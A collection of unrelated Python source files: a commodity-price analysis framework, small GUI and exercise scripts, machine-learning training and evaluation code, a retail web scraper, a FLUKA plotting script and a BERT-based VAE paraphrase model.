# -*- coding: utf-8 -*-

#导入库
import numpy as np
import pandas as pd
import time

from datetime import timedelta, date

import sys

sys.path.append("../DS")
sys.path.append("../TL")
sys.path.append('../DM')

#导入自定义包
# from tl import IN_BACKTEST, get_volatility, get_annualized
from pf import *
from ds import dsCmm

#必须依照以下顺序导入、设置matplotlib
import matplotlib

print('商品框架：已准备好')

import matplotlib.pyplot as plt

_ID = 'cmm'
_NOTE = '商品'

class Fields(TField):
    pass

class _Pool(TPool):
    def __init__(self, project):
        TPool.__init__(self, project)

class _Data(Tdata):
    """
    获取商品价格数据
    """
    def __init__(self, project, pool):
        Tdata.__init__(self, project, pool)

    # 重载父类方法
    def get_data(self, code, start_date=None, end_date=None):
        return dsCmm.hist(code=code, start_date=start_date, end_date=end_date)

    # 获取比值
    def __get_ratio(self):
        gsr_df = pd.DataFrame()
        gor_df = pd.DataFrame()
        #读取数据
        g_df = self.read('XAU').close
        s_df = self.read('XAG').close
        o_df = self.read('OIL').close
        #计算比值
        gsr_df['gsr'] = np.round(g_df / s_df, 2)
        gor_df['gor'] = np.round(g_df / o_df, 2)
        #保存
        self.save('gsr', gsr_df.dropna(), False)
        self.save('gor', gor_df.dropna(), False)

    # 重载父类方法
    def update(self, codes):
        # 执行父类方法
        Tdata.update(self, codes)
        # 获取比值
        self.__get_ratio()

class _Value(Tvalue):
    """
    分析数据
    """
    def __init__(self, project, pool, data):
        Tvalue.__init__(self, project, pool, data)

    def standard_cols(self):
        return ['close']

    def extend_analysis(self, code, df):
        """
        扩展分析
        """
        # 波动率
        vlt = self.get_volatility(df[['close']])
        # 回报率
        roi = self.get_annualized(df[['close']])
        return vlt, roi

    def extend_columns(self):
        """
        扩展分析标题
        """
        return ['vlt', 'roi']

class _Change(Tchange):
    """
    行情分析
    """
    def __init__(self, project, pool, data):
        Tchange.__init__(self, project, pool, data)

class _Chart(Tchart):
    """
    生成图表
    """
    def __init__(self, project, pool, data, analyse):
        Tchart.__init__(self, project, pool, data, analyse)

    #对比图
    def compar(self, codes, title=None, years=10, period='D'):
        df = pd.DataFrame()
        #加载数据
        for code in codes:
            df[code] = self.data.read(code, years=years, period=period).close

        #生成金、银价格对比图
        ax = df.plot(figsize=(18, 8),
                     secondary_y=[codes[1]],
                     mark_right=False,
                     linewidth=0.8,
                     rot=0,
                     style=['orange', 'gray'],
                     grid=True)
        #设置画板
        self.set_title(ax, [
            '%s-走势对比' % (title),
            '%s %s  %s' % (Fields.name(years), Fields.name(period),
                           df.index[-1].date().strftime('%Y-%m-%d'))
        ])

        self.set_legend(
            ax,
            ['%s %.2f' % (self.pool.name(codes[0]), df[codes[0]].iloc[-1])],
            loc=2)
        self.set_ylabel(ax, self.pool.name(codes[0]))
        self.set_grid(ax)
        self.set_left(ax)
        rax = ax.get_figure().get_axes()[1]
        self.set_legend(
            rax,
            ['%s %.2f' % (self.pool.name(codes[1]), df[codes[1]].iloc[-1])],
            loc=1)
        self.set_ylabel(rax, self.pool.name(codes[1]))
        self.set_right(rax)

    #金银比
    def gsr(self, years=10, period='D'):
        #读取数据
        df = self.data.read('gsr', years=years, period=period)
        #辅助线
        val = df['gsr'].iloc[-1]
        df['per'] = val
        df['80'] = 80
        df['70'] = 70
        df['55'] = 55
        df['45'] = 45
        #生成金银比走势图
        ax = df.plot(figsize=(18, 8),
                     linewidth=0.8,
                     rot=0,
                     style=['c', 'c', 'g-.', 'g', 'r', 'r-.'],
                     grid=True)
        #设置画板
        legend = [
            '金银比',
            '当前值：%.2f' % val, '80', '高于70 银价低估', '低于55 金价低估', '45'
        ]
        self.set_title(ax, [
            '金、银价格比-走势',
            '%s %s  %s' % (Fields.name(years), Fields.name(period),
                           df.index[-1].date().strftime('%Y-%m-%d'))
        ])
        self.set_legend(ax, legend, loc='best')
        self.set_grid(ax)
        self.set_left(ax)

    #金油比
    def gor(self, years=10, period='D'):
        #读取数据
        df = self.data.read('gor', years=years, period=period)
        #辅助线
        val = df['gor'].iloc[-1]
        val_median = round(df['gor'].median(), 2)
        df['val'] = val
        df['median'] = val_median
        df['30'] = 30
        #生成金银比走势图
        ax = df.plot(figsize=(18, 8),
                     linewidth=0.8,
                     rot=0,
                     style=['c', 'c-.', 'k', 'r', 'r', 'r-.'],
                     grid=True)
        #设置画板
        legend = [
            '金油比',
            '当前值：%.2f' % val,
            '中位值：%.2f' % val_median,
            '危险值：%.2f' % 30
        ]
        self.set_title(ax, [
            '金、油价格比-走势',
            '%s %s  %s' % (Fields.name(years), Fields.name(period),
                           df.index[-1].date().strftime('%Y-%m-%d'))
        ])
        self.set_legend(ax, legend, loc='best')
        self.set_grid(ax)
        self.set_left(ax)

    #价格走势图
    def line(self, codes, years=10, period='D'):
        for code, name in codes.items():
            item = 'close'
            #读取数据
            df = self.data.read(code, years=years, period=period)[[item]]
            table = self.analyse.read(years)
            #辅助线
            val = df.iloc[-1].close
            val_q20 = table.ix[code, item + '_q20']
            val_q50 = table.ix[code, item + '_q50']
            val_q80 = table.ix[code, item + '_q80']
            df['current'] = val
            df['q20'] = val_q20
            df['q50'] = val_q50
            df['q80'] = val_q80
            #画图
            ax = df.plot(figsize=(18, 8),
                         linewidth=0.5,
                         style=['b', 'b:', 'r', 'k', 'g'],
                         grid=True,
                         rot=0)
            #设置画板
            legend = [
                name,
                '当前 %0.2f' % (val),
                '%s%% %0.2f' % (20, val_q20),
                '%s%% %0.2f' % (50, val_q50),
                '%s%% %0.2f' % (80, val_q80)
            ]
            self.set_legend(ax, legend, loc='best')
            self.set_title(ax, [
                name,
                '%s %s  %s' % (Fields.name(years), Fields.name(period),
                               df.index[-1].date().strftime('%Y-%m-%d'))
            ])
            self.set_grid(ax)
            self.set_left(ax)

class _Table(Ttable):
    """
    生成分析表
    """
    def __init__(self, project, pool, data, analyse):
        Ttable.__init__(self, project, pool, data, analyse)

    def show(self, sort='ratio', asc=True, years=10):
        return self.value(self.pool.track, 'close', '', sort, asc, years)

class Cmm(object):

    # 构造函数
    def __init__(self,
                 data_name,
                 data_path,
                 project_name=None,
                 project_id=_ID,
                 project_note=_NOTE):
        self.project = TProject(data_name, data_path, project_name, project_id,
                                project_note)

        # 组合其它类
        self.pool = _Pool(self.project)
        self.data = _Data(self.project, self.pool)

        self.change = _Change(self.project, self.pool, self.data)
        self.value = _Value(self.project, self.pool, self.data)

        self.change.chart = _Chart(self.project, self.pool, self.data,
                                   self.change)
        self.value.chart = _Chart(self.project, self.pool, self.data,
                                  self.value)
        self.change.table = _Table(self.project, self.pool, self.data,
                                   self.change)
        self.value.table = _Table(self.project, self.pool, self.data,
                                  self.value)


from tkinter import *

# empty window
window = Tk()

def from_kg():
	grams = float(e1_value.get()) * 1000
	pounds = float(e1_value.get()) * 2.20462
	ounces = float(e1_value.get()) * 35.274
	t1.insert(END, grams)
	t2.insert(END, pounds)
	t3.insert(END, ounces)

l1 = Label(window, text="kg")
l1.grid(row=0, column=0)

b1 = Button(window, text="Convert", command=from_kg)
# specify where to place buttom
#b1.pack()
# or grid
b1.grid(row=0, column=2)

e1_value=StringVar()
e1 = Entry(window, textvariable = e1_value)
e1.grid(row=0, column=1)

# grams
t1 = Text(window, height=1, width=20)
t1.grid(row=1, column=0)

t2 = Text(window, height=1, width=20)
t2.grid(row=1, column=1)

t3 = Text(window, height=1, width=20)
t3.grid(row=1, column=2)

window.mainloop()


# https://leetcode.com/problems/longest-consecutive-sequence
class Solution:
    def longestConsecutive(self, nums: List[int]) -> int:
        numset = set(nums)

        mx = 0
        for i in numset:
            # this if statement is ensuring that we are getting the smallest number as a start point
            # this avoids the work of finding out the longest sequence for numbers larger
            # imagine if we have [3,4,2,100,1,54,55,56]
            # this will only execute for 1, 54 and 100
            # that is, we save execution of while loop for each of 2,3,4 and 55,56
            if i-1 not in numset:
                num = i
                count = 1
                while num + 1 in numset:
                    count +=1
                    num +=1

                if mx < count:
                    mx = count
        return mx


import cv2
import numpy as np

from argparse import ArgumentParser
from glob import glob
from pickle import dump, load
from sklearn.svm import SVC
from sklearn.model_selection import train_test_split, cross_val_score, KFold
from time import time
from util import get_dataset

def setup_model():
    svm = load(open("credits_detection/models/svm.p", "r"))

    def is_credit(frame):
        frame = process_frame(frame)
        return svm.predict([frame]) == [[1]]

    return is_credit

def process_frame(frame):
    frame = cv2.resize(frame, (100, frame.shape[0]))
    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    frame = cv2.GaussianBlur(frame, (9, 9), 0)

    col_mean = np.mean(frame, axis=0)
    col_mean = col_mean - np.min(col_mean)

    if np.max(col_mean) > 0:
        col_mean = col_mean / np.max(col_mean)

    return col_mean

def crossvalidate(model, X, y):
    scores = cross_val_score(model, X, y, cv=KFold(shuffle=True), scoring="f1")

    print("score statistics:", scores.mean(), scores.std() * 2)
    print("individual scores:", scores)

def train_and_dump_model(model, X, y):
    X_train, X_test, y_train, y_test = train_test_split(X, y)

    model.fit(X_train, y_train)
    print("score:", model.score(X_test, y_test))

    print("dumping model...")
    dump(model, open("models/svm.p", "wb"))

    print("testing on unseen data...")
    credits_X, credits_y = get_dataset(
        ["credits/john_wick.mov"], 1,
        process_frame
    )
    print("data loaded:", credits_X.shape, credits_y.shape)

    print("score:", model.score(credits_X, credits_y))

def main(cross_validate=False):
    start = time()
    print("loading data...")

    credits_X, credits_y = get_dataset(
        ["credits/mad_max.mov", "credits/under_the_skin.mov"], 1,
        process_frame, 10000
    )
    print("credits done:", credits_X.shape, credits_y.shape)

    content_X, content_y = get_dataset(
        glob("./content/*.mov"), 0,
        process_frame, 10000
    )
    print("content done:", content_X.shape, content_y.shape)
    print("took", time() - start, "sec")

    X = np.vstack((credits_X, content_X))
    y = np.vstack((credits_y, content_y)).ravel()

    model = SVC()

    if cross_validate:
        print("training model with cross-validation...")
        crossvalidate(model, X, y)
    else:
        print("training model...")
        train_and_dump_model(model, X, y)

    print("DONE")
    print("took", time() - start, "sec")

if __name__ == "__main__":
    parser = ArgumentParser(
        description="""Train a machine learning classifier to detect credit
        sequences in video files and dump the generated model to file. If
        cross-validation is activated, no model will be dumped.

        The training data needs to be stored as MOV files in the folders
        credits/ and content/ respectively.
        """
    )

    parser.add_argument(
        "--cv",
        action="store_true", default=False,
        help="Perform cross-validation and do not dump model"
    )

    args = parser.parse_args()
    main(cross_validate=args.cv)


import sys
import numpy as np
from utils.davis2017_metrics import db_eval_boundary, db_eval_iou
import utils.davis2017_utils as utils

def _evaluate_semisupervised(all_gt_masks, all_res_masks, all_void_masks, metric):
    if all_res_masks.shape[0] > all_gt_masks.shape[0]:
        sys.stdout.write("\nIn your PNG files there is an index higher than the number of objects in the sequence!")
        sys.exit()
    elif all_res_masks.shape[0] < all_gt_masks.shape[0]:
        sys.stdout.write("\nThe number of predictions is less than ground truth. Padding with zero.")
        zero_padding = np.zeros((all_gt_masks.shape[0] - all_res_masks.shape[0], *all_res_masks.shape[1:]))
        all_res_masks = np.concatenate([all_res_masks, zero_padding], axis=0)
    j_metrics_res, f_metrics_res = np.zeros(all_gt_masks.shape[:2]), np.zeros(all_gt_masks.shape[:2])
    for ii in range(all_gt_masks.shape[0]):

        if 'J' in metric:
            j_metrics_res[ii, :] = db_eval_iou(all_gt_masks[ii, ...], all_res_masks[ii, ...], all_void_masks)
            sys.stdout.flush()

        if 'F' in metric:
            f_metrics_res[ii, :] = db_eval_boundary(all_gt_masks[ii, ...], all_res_masks[ii, ...], all_void_masks)
            sys.stdout.flush()

    return j_metrics_res, f_metrics_res

def evaluate_semi(all_gt_masks, all_res_masks, metric=('J', 'F'), debug=False):
    metric = metric if isinstance(metric, tuple) or isinstance(metric, list) else [metric]
    if 'T' in metric:
        raise ValueError('Temporal metric not supported!')
    if 'J' not in metric and 'F' not in metric:
        raise ValueError('Metric possible values are J for IoU or F for Boundary')

    # Containers
    metrics_res = {}
    if 'J' in metric:
        metrics_res['J'] = {"M": [], "R": [], "D": [], "M_per_object": {}}
    if 'F' in metric:
        metrics_res['F'] = {"M": [], "R": [], "D": [], "M_per_object": {}}

    for seq, (seq_gt_masks, seq_res_masks) in enumerate(zip(all_gt_masks, all_res_masks)):

        seq_gt_masks, seq_res_masks = seq_gt_masks[:, 1:-1, :, :], seq_res_masks[:, 1:-1, :, :]
        j_metrics_res, f_metrics_res = _evaluate_semisupervised(seq_gt_masks, seq_res_masks, None, metric)

        for ii in range(seq_gt_masks.shape[0]):
            seq_name = f'{seq}_{ii+1}'
            if 'J' in metric:
                [JM, JR, JD] = utils.db_statistics(j_metrics_res[ii])
                metrics_res['J']["M"].append(JM)
                metrics_res['J']["R"].append(JR)
                metrics_res['J']["D"].append(JD)
                metrics_res['J']["M_per_object"][seq_name] = JM
            if 'F' in metric:
                [FM, FR, FD] = utils.db_statistics(f_metrics_res[ii])
                metrics_res['F']["M"].append(FM)
                metrics_res['F']["R"].append(FR)
                metrics_res['F']["D"].append(FD)
                metrics_res['F']["M_per_object"][seq_name] = FM

        # Show progress
        if debug:
            sys.stdout.write(seq + '\n')
            sys.stdout.flush()

    return metrics_res


import logging
import configparser
from pathlib import Path
from urllib.request import Request, urlopen
from bs4 import BeautifulSoup as bs
from .utils import save_into_csv
from .extractors import extract_products_information
from ..utils import set_query_string_parameter_from_url

config = configparser.RawConfigParser()
config.read('{}/scraper.properties'.format(Path().absolute()))
TOTTUS = dict(config.items('TOTTUS'))

PAGINATION_INCREMENT = int(TOTTUS['pagination_increment'])
MAX_TRIES = int(TOTTUS['max_tries'])

def scrap(entries):
  print('Starting Tottus')
  logging.info('Processing Tottus')
  information = process_entries(entries)
  save_into_csv(information)
  print('Tottus done...')
  logging.info('Ending Tottus')

def should_continue(html):
  result = html.findAll('div', {'style' : 'width: 100%;height: 200px;float: left;'})
  if len(result) == 0:
    return True
  return False

def process_entries(entries):
  result = list()
  for entry in entries:
    information = process_entry(entry)
    result.extend(information)
  return result

def process_entry(entry):
  index = 0
  tries = 0
  result = list()
  while True:
    url = set_query_string_parameter_from_url(entry, 'No', index)
    print('Processing: {}'.format(url))
    request = Request(url, headers = {'User-Agent': 'Mozilla/5.0'})
    try:
      response = urlopen(request).read()
      html = bs(response, 'html.parser')
      if not should_continue(html):
        break
      products_information = extract_products_information(html)
      result.extend(products_information)
      tries = 0
    except Exception as e:
      tries += 1
      logging.error('Failure processing: {}'.format(url))
      logging.error(e)
      if tries == MAX_TRIES:
        logging.error('Skipping rest of calls: {}'.format(url))
        return result
    index += PAGINATION_INCREMENT
  return result


from new import instancemethod

class DelayedDecorator(object):
    """Wrapper that delays decorating a function until it is invoked.

    This class allows a decorator to be used with both ordinary functions and
    methods of classes. It wraps the function passed to it with the decorator
    passed to it, but with some special handling:

      - If the wrapped function is an ordinary function, it will be decorated
        the first time it is called.

      - If the wrapped function is a method of a class, it will be decorated
        separately the first time it is called on each instance of the class.
        It will also be decorated separately the first time it is called as
        an unbound method of the class itself (though this use case should
        be rare).
    """

    def __init__(self, deco, func):
        # The base decorated function (which may be modified, see below)
        self._func = func
        # The decorator that will be applied
        self._deco = deco
        # Variable to monitor calling as an ordinary function
        self.__decofunc = None
        # Variable to monitor calling as an unbound method
        self.__clsfunc = None

    def _decorated(self, cls=None, instance=None):
        """Return the decorated function.

        This method is for internal use only; it can be implemented by
        subclasses to modify the actual decorated function before it is
        returned. The ``cls`` and ``instance`` parameters are supplied so
        this method can tell how it was invoked. If it is not overridden,
        the base function stored when this class was instantiated will
        be decorated by the decorator passed when this class was instantiated,
        and then returned.

        Note that factoring out this method, in addition to allowing
        subclasses to modify the decorated function, ensures that the
        right thing is done automatically when the decorated function
        itself is a higher-order function (e.g., a generator function).
        Since this method is called every time the decorated function
        is accessed, a new instance of whatever it returns will be
        created (e.g., a new generator will be realized), which is
        exactly the expected semantics.
        """
        return self._deco(self._func)

    def __call__(self, *args, **kwargs):
        """Direct function call syntax support.

        This makes an instance of this class work just like the underlying
        decorated function when called directly as an ordinary function.
        An internal reference to the decorated function is stored so that
        future direct calls will get the stored function.
        """
        if not self.__decofunc:
            self.__decofunc = self._decorated()
        return self.__decofunc(*args, **kwargs)

    def __get__(self, instance, cls):
        """Descriptor protocol support.

        This makes an instance of this class function correctly when it
        is used to decorate a method on a user-defined class. If called
        as a bound method, we store the decorated function in the instance
        dictionary, so we will not be called again for that instance. If
        called as an unbound method, we store a reference to the decorated
        function internally and use it on future unbound method calls.
        """
        if instance:
            deco = instancemethod(self._decorated(cls, instance), instance, cls)
            # This prevents us from being called again for this instance
            setattr(instance, self._func.__name__, deco)
        elif cls:
            if not self.__clsfunc:
                self.__clsfunc = instancemethod(self._decorated(cls), None, cls)
            deco = self.__clsfunc
        else:
            raise ValueError("Must supply instance or class to descriptor.")
        return deco


import os
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

hour = 3600

energies = [0.250,0.230,0.200,0.150,0.100,0.07]  # MeV
spread   = [0.1020,0.0979,0.0913,0.0790,0.0645,0.0540]
thickness = [1.,2.,3.,5.]   # cm

input_protons  = 1e7
actual_protons = 1e11
beam_time = 60  # 1 min beam time

rows = []

for i, e in enumerate(energies):
    for t in thickness:
        with open("template.txt", 'r') as templatef:
            directory = "/{rThickness}-{bEnergy:03}/".format(rThickness=round(t), bEnergy=round(1000*e))
            with open(os.getcwd() + directory + "in001_fort.28", 'r') as f:
                lines = f.readlines()

                mergedata = []
                data = []
                data = lines[17:-1]
                for i in range(len(data)):
                    data[i] = data[i].split()
                for i in range(len(data)):
                    mergedata = mergedata + data[i]
                for i in range(len(mergedata)):
                    mergedata[i]=float(mergedata[i])

                length = np.linspace(1,60,num=60)
                plt.bar(x=length,height=mergedata)
                plt.xlabel("Energy (GeV)")
                plt.ylabel("Differential Fluence per Energy (cm^-2 sr^-1 GeV^-1)")
                plt.title("E=70MeV, x=1cm")
                plt.show()

df = pd.DataFrame(mergedata)

range = np.linspace(1,60,num=60)
plt.bar(x=range,height=mergedata)
plt.xlabel("Energy (GeV)")
plt.ylabel("Differential Fluence per Energy (cm^-2 sr^-1 GeV^-1)")
plt.title("E=70MeV, x=1cm")
plt.show()

df.to_csv("Test.csv")

flukafiles/ActivationRangeShifter/20-11-18 Activation Products Data/EnergyspecTest.py


from preproces import Preprocessing
import pandas as pd
import streamlit as st
import pickle
from scraper import Scraper

st.title("Hello")
movieId = st.text_input(label="IMDB ID")
subBut = st.button("Submit")

if subBut:

    df, df_org = Scraper(movieId)

    try:
        data = Preprocessing(df)
    except:
        print("Could Not PreProcess")

    with open("logisticModel500","rb")as file:
        reviewModel = pickle.load(file)

    prediction = reviewModel.predict(data[0:100])
    df_pred = pd.DataFrame(prediction, columns =["prediction"])
    df_final = pd.concat([df, df_pred],axis = 1)

    positive = 0
    negative = 0
    for i, y in enumerate(df_org["review"]):
        if df_final["prediction"][i] == 1:
            st.text("Positive "+":- "+f'{y}')
            positive += 1
        else:
            st.text("Negative "+":- "+f'{y}')
            negative += 1

    st.header(f'Total Postitve score {positive}')
    st.header(f'Total Negative score {negative}')


import cv2

"""
this is a program that resizes an image in the same method in dac-sdc/dataset/dataset_utils.py and saves it
"""

input_img_path = "./car16_0001.jpg"
output_img_path = "./car16_0001_resized.jpg"
img_size = 320

img = cv2.imread(input_img_path)
assert img is not None, 'Image Not Found ' + input_img_path
h0, w0 = img.shape[:2]  # original size
print("original size was ", (h0, w0))

img = cv2.resize(img, (img_size, img_size // 2), interpolation=cv2.INTER_LINEAR)
print("image resized to ", img.shape[:2])

cv2.imwrite(output_img_path, img)


"http://www.programiz.com/python-programming/examples/square-root"
"http://stackoverflow.com/questions/17651384/python-remove-division-decimal"

'''
PSEUDO CODE

 user <- user input
 number <- user

 SQUARE [x]
   sqrt <- number ** 0.5
   insqrt <- (sqrt)
   answer <- (sqrt) * (sqrt)
//%d gets rid of the decimals while %0.3f counts to 3 decimal places
   output (number ,sqrt)
   output (answer)

 CALL SQUARE(number)

'''

import sys

user = input("input number ")
number = int(user)

'''
input is square rooted using ** power
function 'Square' is called with the variable value from 'number'
converts the float to a integer, gets rid of numbers after decimal
sqrt * sqrt is just multiplying itself by itself
%d gets rid of the decimals while %0.3f counts to 3 decimal places
'''

def Square(inputted):
    sqrt = number ** 0.5
    intsqrt = int(sqrt)
    answer = int(sqrt) * int(sqrt)
    print('The SQRT of %d is:  %0.3f'%(number ,sqrt))
    print('The Previous Perfect SQRT number is:',answer)

Square(number)

sys.exit()


from bert import bert_model_for_PAGE
from bert.bert_model_for_PAGE import get_shape_list,layer_norm
import tensorflow as tf
from modules import ff,  multihead_attention, label_smoothing, noam_scheme
from utils import convert_idx_to_token_tensor
from tqdm import tqdm
import logging

from data_load import load_vocab

class VaeModel:

    '''
    这是模型的主题框架
    '''
    def __init__(self,hp):
        self.hp = hp
        self.token2idx, self.idx2token = load_vocab(hp.vocab)

    # 变积分自动编码器的编码器
    def encoder_vae(self, xs, training, mode):

        '''
        :param xs:
        :param training:
        :param mode: TPAGE表示训练复述模型     LM 表示训练transformer的解码器  PPAGE：代表预测的时候
        return:
        '''

        input_ids_vae_encoder, input_masks_vae_encoder, segment_ids_vae_encoder, sents1, sents2 = xs

        if mode == "TPAGE" or mode == "PPAGE":
            # 这是整体训练 vae
            encoder_vae = bert_model_for_PAGE.BertModel(
                config=self.hp,
                is_training=training,
                input_ids=input_ids_vae_encoder,
                input_mask=input_masks_vae_encoder,
                token_type_ids=segment_ids_vae_encoder)

            self.embeddings = encoder_vae.get_embedding_table()
            self.full_position_embeddings = encoder_vae.get_full_position_embeddings()
            pattern_para = tf.squeeze(encoder_vae.get_sequence_output()[:, 0:1, :], axis=1)
            gaussian_params = tf.layers.dense(pattern_para, 2 * self.hp.z_dim)
            mean = gaussian_params[:, :self.hp.z_dim]
            stddev = 1e-6 + tf.nn.softplus(gaussian_params[:, self.hp.z_dim:])
        else:
            raise("您好，你选择的mode 出现错误")

        return mean, stddev

    # 变积分自动编码器的解码器
    def decoder_vae(self, ys, z, training, mode):
        input_ids_vae_decoder_enc, input_ids_vae_decoder_dec,output_ids_vae_decoder_dec,  sents1, sents2 = ys
        if mode == "TPAGE" or mode == "PPAGE":
            with tf.variable_scope("decoder_enc_vae", reuse=tf.AUTO_REUSE):
                enc = tf.nn.embedding_lookup(self.embeddings, input_ids_vae_decoder_enc)  # (N, T1, d_model)
                input_shape = get_shape_list(enc, expected_rank=3)
                seq_length = input_shape[1]
                width = input_shape[2]
                output = enc
                assert_op = tf.assert_less_equal(seq_length, self.hp.max_position_embeddings)
                with tf.control_dependencies([assert_op]):
                    position_embeddings = tf.slice(self.full_position_embeddings, [0, 0],
                                                   [seq_length, -1])
                    num_dims = len(output.shape.as_list())
                    position_broadcast_shape = []
                    for _ in range(num_dims - 2):
                        position_broadcast_shape.append(1)
                    position_broadcast_shape.extend([seq_length, width])
                    position_embeddings = tf.reshape(position_embeddings,
                                                     position_broadcast_shape)

                    output += position_embeddings  # 添加位置信息

                enc = output
                ## Blocks
                for i in range(self.hp.num_blocks):
                    with tf.variable_scope("num_blocks_{}".format(i), reuse=tf.AUTO_REUSE):
                        # self-attention
                        enc = multihead_attention(seq_k=input_ids_vae_decoder_enc,
                                                  seq_q=input_ids_vae_decoder_enc,
                                                  queries=enc,
                                                  keys=enc,
                                                  values=enc,
                                                  num_heads=self.hp.num_heads,
                                                  dropout_rate=self.hp.dropout_rate,
                                                  training=training,
                                                  causality=False,
                                                  scope="self_attention")
                        # feed forward
                        enc = ff(enc, num_units=[self.hp.d_ff, self.hp.d_model])

            memory = enc

            # 下面是VAE的decoder中的 decoder
            with tf.variable_scope("decoder_dec_vae", reuse=tf.AUTO_REUSE):
                dec = tf.nn.embedding_lookup(self.embeddings, input_ids_vae_decoder_dec)  # (N, T, d_model)
                input_shape = get_shape_list(dec, expected_rank=3)
                seq_length = input_shape[1]
                width = input_shape[2]
                output = dec
                assert_op = tf.assert_less_equal(seq_length, self.hp.max_position_embeddings)
                with tf.control_dependencies([assert_op]):
                    position_embeddings = tf.slice(self.full_position_embeddings, [0, 0],
                                                   [seq_length, -1])
                    num_dims = len(output.shape.as_list())
                    position_broadcast_shape = []
                    for _ in range(num_dims - 2):
                        position_broadcast_shape.append(1)
                    position_broadcast_shape.extend([seq_length, width])
                    position_embeddings = tf.reshape(position_embeddings,
                                                     position_broadcast_shape)

                    output += position_embeddings                          # 添加位置信息

                dec=output

                # 在这里加上 规则模式 采用的是concate的方式!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                z = tf.expand_dims(z, axis=1)
                z = tf.tile(z, multiples=[1, seq_length, 1])
                dec = tf.concat([dec, z], axis=-1)
                dec = tf.layers.dense(dec, self.hp.d_model)
                # Blocks
                for i in range(self.hp.num_blocks):
                    with tf.variable_scope("num_blocks_{}".format(i), reuse=tf.AUTO_REUSE):
                        # Masked self-attention (Note that causality is True at this time)
                        dec = multihead_attention(seq_k=input_ids_vae_decoder_dec,
                                                  seq_q=input_ids_vae_decoder_dec,
                                                  queries=dec,
                                                  keys=dec,
                                                  values=dec,
                                                  num_heads=self.hp.num_heads,
                                                  dropout_rate=self.hp.dropout_rate,
                                                  training=training,
                                                  causality=True,
                                                  scope="self_attention")

                        # Vanilla attention
                        dec = multihead_attention(seq_k=input_ids_vae_decoder_enc,
                                                  seq_q=input_ids_vae_decoder_dec,
                                                  queries=dec,
                                                  keys=memory,
                                                  values=memory,
                                                  num_heads=self.hp.num_heads,
                                                  dropout_rate=self.hp.dropout_rate,
                                                  training=training,
                                                  causality=False,
                                                  scope="vanilla_attention")
                        ### Feed Forward
                        dec = ff(dec, num_units=[self.hp.d_ff, self.hp.d_model])

        # Final linear projection (embedding weights are shared)
        weights = tf.transpose(self.embeddings) # (d_model, vocab_size)
        # 这里为了适应迎合 强制加上一个 FF
        logits = tf.einsum('ntd,dk->ntk', dec, weights) # (N, T2, vocab_size)
        y_hat = tf.to_int32(tf.argmax(logits, axis=-1))
        return logits, y_hat, output_ids_vae_decoder_dec, sents2

    def train(self, xs, ys,mode):
        '''
        Returns
        loss: scalar.
        train_op: training operation
        global_step: scalar.
        summaries: training summary node
        '''
        # forward

        mu, sigma = self.encoder_vae(xs, training=True, mode=mode)
        if mode == "TPAGE" or mode == "PPAGE":
            # 表示 训练VAE
            # 这里提醒自己一下 将embeding 全部设为True
            z = mu + sigma * tf.random_normal(tf.shape(mu), 0, 1, dtype=tf.float32)
        else:
            raise ("许海明在这里提醒你：出现非法mode")

        logits, preds, y, sents2 = self.decoder_vae(ys, z,training=True,mode=mode)

        # train scheme

        ce = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=y)
        nonpadding = tf.to_float(tf.not_equal(y, self.token2idx["[PAD]"]))  # 0: <pad>
        loss_decoder = tf.reduce_sum(ce * nonpadding) / tf.to_float(get_shape_list(xs[0],expected_rank=2)[0])

        # 这里加上KL loss
        if mode == "TPAGE":
            KL_loss = tf.reduce_mean(0.5 * tf.reduce_sum(tf.square(mu) + tf.square(sigma) - tf.log(1e-8 + tf.square(sigma)) - 1, [1]))
        else:
            KL_loss = 0.0

        loss = loss_decoder + KL_loss

        global_step = tf.train.get_or_create_global_step()
        lr = noam_scheme(self.hp.lr, global_step, self.hp.warmup_steps)
        optimizer = tf.train.AdamOptimizer(lr)
        train_op = optimizer.minimize(loss, global_step=global_step)

        # # monitor a random sample
        n = tf.random_uniform((), 0, tf.shape(preds)[0] - 1, tf.int32)
        print_demo=(xs[0][n],
                    y[n],
                    preds[n])

        tf.summary.scalar('lr', lr)
        tf.summary.scalar("KL_loss", KL_loss)
        tf.summary.scalar("loss_decoder", loss_decoder)
        tf.summary.scalar("loss", loss)
        tf.summary.scalar("global_step", global_step)

        summaries = tf.summary.merge_all()

        return loss, train_op, global_step, summaries, print_demo

    def eval(self, xs,ys,mode):

        mu, sigma = self.encoder_vae(xs, training=False, mode=mode)   #这里主要是为了获取 embeding 其他的都没用

        if mode == "TPAGE" or mode == "PPAGE":
              # 表示 训练VAE
              # 这里提醒自己一下 将embeding 全部设为True
              z = mu + sigma * tf.random_normal(tf.shape(mu), 0, 1, dtype=tf.float32)

        else:
              raise ("许海明在这里提醒你：出现非法mode")

        # z = tf.random_normal([get_shape_list(xs[0], expected_rank=2)[0], self.hp.z_dim]) #自动生成采样因子

        input_ids_vae_decoder_enc, input_ids_vae_decoder_dec, output_ids_vae_decoder_dec,  sents1, sents2 = ys

        decoder_inputs = tf.ones((tf.shape(xs[0])[0], 1), tf.int32) * self.token2idx["<S>"]
        ys = (input_ids_vae_decoder_enc, decoder_inputs, output_ids_vae_decoder_dec,  sents1, sents2)

        logging.info("Inference graph is being built. Please be patient.")
        for _ in tqdm(range(self.hp.maxlen_vae_Decoder_de)):
            logits, y_hat, y, sents2 = self.decoder_vae(ys, z, training=False, mode=mode)
            if tf.reduce_sum(y_hat, 1) == self.token2idx["[PAD]"]:
                break

            _decoder_inputs = tf.concat((decoder_inputs, y_hat), 1)
            ys = (input_ids_vae_decoder_enc, _decoder_inputs, output_ids_vae_decoder_dec, sents1, sents2)

        # monitor a random sample
        n = tf.random_uniform((), 0, tf.shape(y_hat)[0]-1, tf.int32)
        sent1 = sents1[n]
        pred = convert_idx_to_token_tensor(y_hat[n], self.idx2token)
        sent2 = sents2[n]

        tf.summary.text("sent1", sent1)
        tf.summary.text("pred", pred)
        tf.summary.text("sent2", sent2)
        summaries = tf.summary.merge_all()

        return y_hat, summaries


# slicing =   create a substring by extracting elements from another string
#             indexing[] or slice()
#             [start:stop:step]

name = "Bro Code"

first_name = name[:3]
last_name = name[4:]
funky_name = name[::2]
reversed_name = name[::-1]

L = [first_name, last_name, funky_name, reversed_name]

for each in L:
    print(each)

website1 = "http://google.com"
website2 = "http://wikipedia.com"

slice = slice(7,-4) # -4 is an negative index

